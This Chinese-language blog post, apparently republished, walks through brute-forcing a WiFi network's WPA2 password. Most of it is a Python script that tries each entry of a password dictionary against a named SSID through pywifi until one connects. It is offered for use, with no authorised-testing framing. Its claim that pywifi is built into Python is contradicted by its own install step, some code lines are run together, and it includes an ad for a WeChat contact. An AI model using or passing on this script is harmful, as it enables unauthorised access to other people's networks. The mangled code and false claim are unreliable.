美文网首页读书
使用密码字典 和 Python自带的pywifi模块穷举WIFI

使用密码字典 和 Python自带的pywifi模块穷举WIFI

作者: python梦想 | 来源:发表于2021-09-28 19:36 被阅读0次
使用密码字典 和 Python自带的pywifi模块穷举WIFI密码

俗话说“小时偷针,大时偷鸡”,来告诉我们从小要养成良好的行为习惯。但是自从走上程序员这条路以后,学习变得枯燥,明明很有时间,“却变得没有时间了”,总之学习效率特别低效。闲话少说,下面开始详细介绍Python穷举WIFI密码过程

私信小编01即可获取大量Python学习资源

使用密码字典 和 Python自带的pywifi模块穷举WIFI密码

工欲善其事必先利其器:

Python提供了一个非常有用的包来获取网络端口并与之交流(这个词自我感觉比较贴切一点),所以首先我们先安装pywifi这个包。最后,如果你的时间不是很紧张,并且又想快速的提高,最重要的是不怕吃苦,建议你可以联系维:762459510 ,那个真的很不错,很多人进步都很快,需要你不怕吃苦哦!大家可以去添加上看一下~

一开始我用常规安装命令,install pip pywifi,出现报错。因为这个包不能用pip直接下载了(怕坏人学这个干坏事。。。自己脑补)自己去官网下载即可

使用密码字典 和 Python自带的pywifi模块穷举WIFI密码
import pywifiimport time from pywifi import const def wifi_connnect(pwd):    
wifi = pywifi.PyWiFi()    
#拿到第一个    
inter = wifi.interfaces()[0]    
#先断开连接!!!!不断就没得搞手,先断开,才可以连接其他的WIFI    
inter.disconnect()    
#休眠3秒    
time.sleep(3)    
#如果是没连接的状态下    
if inter.status() == const.IFACE_DISCONNECTED:        
#注意是大写Pro        
f = pywifi.Profile()        
#设置好想要蹂躏的id        
f.ssid = "bdj"        
#密码用字典        
f.key = pwd        
#网卡的开放        
f.auth = const.AUTH_ALG_OPEN        
#加密单元        
f.cipher = const.CIPHER_TYPE_CCMP        
#加密算法的类型        f.akm.append(const.AKM_TYPE_WPA2PSK)        
#删除之前的wifi文件        inter.remove_all_network_profiles()        
#设置新的连接文件        
temp_p = inter.add_network_profile(f)        
#去连接它       
 inter.connect(temp_p)        
time.sleep(3)        
#连接成功直接return        
if inter.status() == const.IFACE_CONNECTED:            return True        
else:            
return False     
else:        
print("connected") def readtxt():    
#这里填自己字典的绝对路径    
path = "D:\填绝对路径"    
#打开文件,设置为read模式    
file = open(path, "r")    
#死循环    
while True:        
#pwd 为读取到的每一行        
pwd = file.readline()        
# print(pwd)        
#如果连接上了,wifi_connect会return True 那么直接break吊while循环        
res = wifi_connnect(pwd)        
if res:            
print("password is correct", pwd)            
break        
else:            
print("password is error", pwd) 
#调用函数readtxt()

相关文章

网友评论

    本文标题:使用密码字典 和 Python自带的pywifi模块穷举WIFI

    本文链接:https://www.haomeiwen.com/subject/krzdiltx.html